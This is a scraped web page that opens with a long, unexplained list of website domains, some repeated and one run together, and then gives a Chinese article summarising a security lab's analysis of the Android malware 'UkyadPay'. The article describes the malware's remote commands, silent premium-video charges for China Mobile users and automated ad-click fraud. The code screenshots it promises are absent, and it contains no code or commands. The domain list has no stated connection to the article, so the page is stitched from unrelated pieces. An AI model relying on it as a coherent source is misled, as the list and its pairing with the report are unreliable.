www.transportation.gov.bh
www.transportation.gov.bh
www.jhaforpresident.7p.com
www.DarrkSydebaby.com
www.cntv.info
www.sugardas.lt
www.adhdtests.com
www.argontech.net
www.customloyal.com
www.ohiolimo.com
www.topko.sk
www.alupass.lu
www.sigi.lu
www.redlightpic.ruiwen.com
www.irinaswelt.de
www.bueroservice-it.de
www.kranenberg.de
www.kranenberg.de
www.the-fabulous-lions.de
www.the-fabulous-lions.de
www.mongolische-renner.de
www.mongolische-renner.de
www.capri-frames.de
www.capri-frames.de
www.aimcenter.net
www.boneheadmusic.com
www.fludir.is
www.sljinc.com
www.tivogoddess.com
www.fcpages.com
www.andara.com
www.freeservers.com
www.programmierung20d 0a0.de
www.asianfestival.nl
www.aviation-center.de
www.gci-bln.de
www.mass-i.kiev.ua
www.jasnet.pl
www.atlantisteste.hpg.com.br
www.fludir.is
www.rieraquadros.com.br
www.metal.pl
www.handsforhealth.com
www.angelartsanctuary.com
www.firstnightoceancounty.org
www.chinasenfa.com
www.chinasenfa.com
www.ulpiano.org
www.gamp.pl
www.vikingpc.pl
www.woundedshepherds.com
www.cpc.adv.br
www.velocityprint.com
www.esperanzaparalafamilia.com
www.celula.com.mx
www.mexis.com
www.wecompete.com
www.vbw.info
www.gfn.org
www.aegee.org
www.deadrobot.com
www.cscliberec.cz
www.ecofotos.com.br
www.amanit.ru
www.bga-gsm.ru
www.innnewport.com
www.knicks.nl
www.srg-neuburg.de
www.mepmh.de
www.mepbisu.de
www.kradtraining.de
www.polizeimotorrad.de
www.sea.bz.it
www.uslungiarue.it
www.gcnet.ru
www.aimcenter.net
www.vandermost.de
www.vandermost.de
www.szantomierz.art.pl
www.immonaut.sk
www.eurostavba.sk
www.spadochron.pl
www.pyrlandia-boogie.pl
www.kps4parents.com
www.pipni.cz
www.selu.edu
www.travelchronic.dewww.fleigutaetscher.ch
www.irakli.org
www.oboe-online.com
www.oboe-online.com
www.pe-sh.com
www.idb-group.net
www.ceskyhosting.cz
www.ceskyhosting.cz
www.hartacorporation.com
www.glass.la
www.glass.la
www.24-7-transportation.com
www.fepese.ufsc.br
www.ellarouge.com.au
www.bbsh.org
www.boneheadmusic.com
www.sljinc.com
www.tivogoddess.com
www.fcpages.com
www.szantomierz.art.pl
www.elenalazar.com
www.ssmifc.ca
www.reliance-yachts.com
www.worest.com.ar
www.kps4parents.com
www.coolfreepages.com
www.scanex-medical.fi
www.jimvann.com
www.orari.net
www.himpsi.org
www.mtfdesign.com
www.jldr.ca
www.relocationflorida.com
www.rentalstation.com
www.approved1stmortgage.com
www.velezcourtesymanagement.com
www.sunassetholdings.com
www.compsolutionstore.com
www.uhcc.com
www.justrepublicans.com
www.pfadfinder-leobersdorf.com
www.featech.com
www.vinirforge.com
www.magicbottle.com.tw
www.giantrevenue.com
www.couponcapital.net
www.crystalrose.ca
www.crystalrose.ca
www.crystalrose.ca
www.crystalrose.ca
篇16:Android病毒分析报告 Andorid新病毒“UkyadPay”病毒防范
近期百度安全实验室发现一款“UkyadPay“新病毒,该病毒目前已感染快播、超级小白点、萝莉保卫战等大批流行应用,该病毒启动后,后台偷偷访问远端服务器获取指令,并根据服务器端指令执行如下恶意行为:
1、后台通过cmwap访问收费视频,并自动完成扣费流程。(该病毒仅针对中国移动用户吸费)
2、后台自动化点击访问daoyoudao和宜搜广告联盟广告,自动下载应用。 诱骗广告平台获取推广费用。 消耗用户大量的数据流量。
从恶意行为中可以看出,恶意软件开发者获利手段有以下两种:SP分成和广告联盟推广分成。
下面对该病毒样本进行简单分析:
1、首先该病毒在AndroidManifest.xml文件注册系统频发广播,以便恶意组件能够顺利运行,
2、恶意代码树结构:
3、恶意组件运行机制:
经过对该病毒样本代码的逆向分析,该病毒的运行原理也基本浮出水面,下图为恶意软件注册Android组件及之间调用关系。
以下是关键恶意代码截图:
(1)自动化完成点播收费视频。
(2)自动化访问Daoyoudao广告,下载推广应用。
(3)自动化访问“宜搜”广告,并模拟点击。
该病毒为了扣费不引起用户和移动运营商的注意。对每天和每月都有最大扣费次数的限制。达到上限则不再促发扣费逻辑。
★ Android病毒分析报告 Andorid新病毒“UkyadPay”病毒防范
★ 求职信病毒
★ 病毒的话阅读答案
MSN爱你(Worm.MSNLoveme) 蠕虫病毒分析报告病毒防范(精选16篇)




